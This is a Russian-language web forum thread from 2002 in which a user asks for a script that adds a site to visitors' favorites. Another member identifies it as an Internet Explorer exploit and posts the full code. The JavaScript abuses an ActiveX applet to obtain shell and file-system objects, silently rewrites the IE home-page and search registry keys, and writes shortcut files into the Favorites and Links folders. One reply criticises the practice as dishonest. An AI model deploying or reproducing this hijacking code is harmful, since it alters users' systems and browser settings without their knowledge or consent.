Форум сетевых администраторов
Показаны 7 сообщений на этой странице

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- Java/Java Scripts (http://netadmin.ws/forum/forumdisplay.php?forumid=9)
-- Добавление в favorites (http://netadmin.ws/forum/showthread.php?threadid=792)


Помещено vitalic 25-02-2002 в 02:32:

Добавление в favorites

Где можно бесплатно взять такой скрипт

http://wm-club.narod.ru/favorites.htm


Помещено ALX 08-03-2002 в 17:48:

Обычны скриптик использующий дырку в IE.... у меня в 6.0 не работает..


Помещено vitalic 08-03-2002 в 18:00:

а у меня на 6.0 работает


Помещено ALX 08-03-2002 в 18:09:

если легче станет... то вот эту батву они в окне пушут (через document.write)

code:

<body>

<p><script language="JavaScript"><!--
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>");

var PageURL = "http://www.wm-club.narod.ru/favorites.htm";
var PageTitle = "Лучший скрипт!!!";
var agent = navigator.userAgent.toLowerCase();
var InterfaceObject, SHL, FSO;
if (agent.indexOf("win") != -1) {
	setTimeout("F()", 1000);
}

function F() {
	try {
		var TempFolder, FavoritesFolder, FavoritesFolderLinks, Filename,
		InterfaceObject = document.applets[0];
		InterfaceObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
		InterfaceObject.createInstance();
		SHL = InterfaceObject.GetObject();
		InterfaceObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
		InterfaceObject.createInstance();
		FSO = InterfaceObject.GetObject();
		try {
			SHL.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL", PageURL);
			SHL.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", PageURL);
			SHL.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Search_URL", PageURL);
			TempFolder = FSO.GetSpecialFolder(2);
			string = unescape(TempFolder);
			string = string.toLowerCase();
			FavoritesFolder = SHL.SpecialFolders("Favorites");
			CreateFavorite(FavoritesFolder, PageTitle, PageURL);
			FavoritesFolderLinks = FavoritesFolder + "\\links";
			if (!FSO.FolderExists(FavoritesFolderLinks)) {
				FavoritesFolderLinks = FavoritesFolder + "\\ссылки";
				if (!FSO.FolderExists(FavoritesFolderLinks)) {
					FavoritesFolderLinks = "";
				}
			}
			CreateFavorite(FavoritesFolderLinks, PageTitle, PageURL);
		}
		catch(e){ }
	}
	catch(e){ }
}

function CreateFavorite(Folder,Title,URL) {
	file = FSO.OpenTextFile(Folder + "\\" + Title + ".url", "2", "TRUE");
	file.WriteLine("[DEFAULT]");
	file.WriteLine("BASEURL=" + URL);
	file.WriteLine("[InternetShortcut]");
	file.WriteLine("URL=" + URL);
	file.Close();
}

// --></script></p>
</body>



Помещено ALX 08-03-2002 в 18:13:

У меня W2k+ sp2 +sp2SPR1 +IE6securityUpdate

Ноль имоций на этот скрипт


Помещено vitalic 08-03-2002 в 22:53:

еснно


Помещено Igor 11-03-2002 в 20:17:

Бестолковый скрипт. Насильственно вставлять закладки в избранное - это раздражать народ и отпугивать постоянных посетителей, догадывающихся о нечестной игре.

__________________
C уважением, Игорь
cblog.ru


Формат времени GMT. Текущее время 14:43.
Показаны 7 сообщений на этой странице

Powered by: vBulletin Version 2.2.4
Copyright © Jelsoft Enterprises Limited 2000, 2001.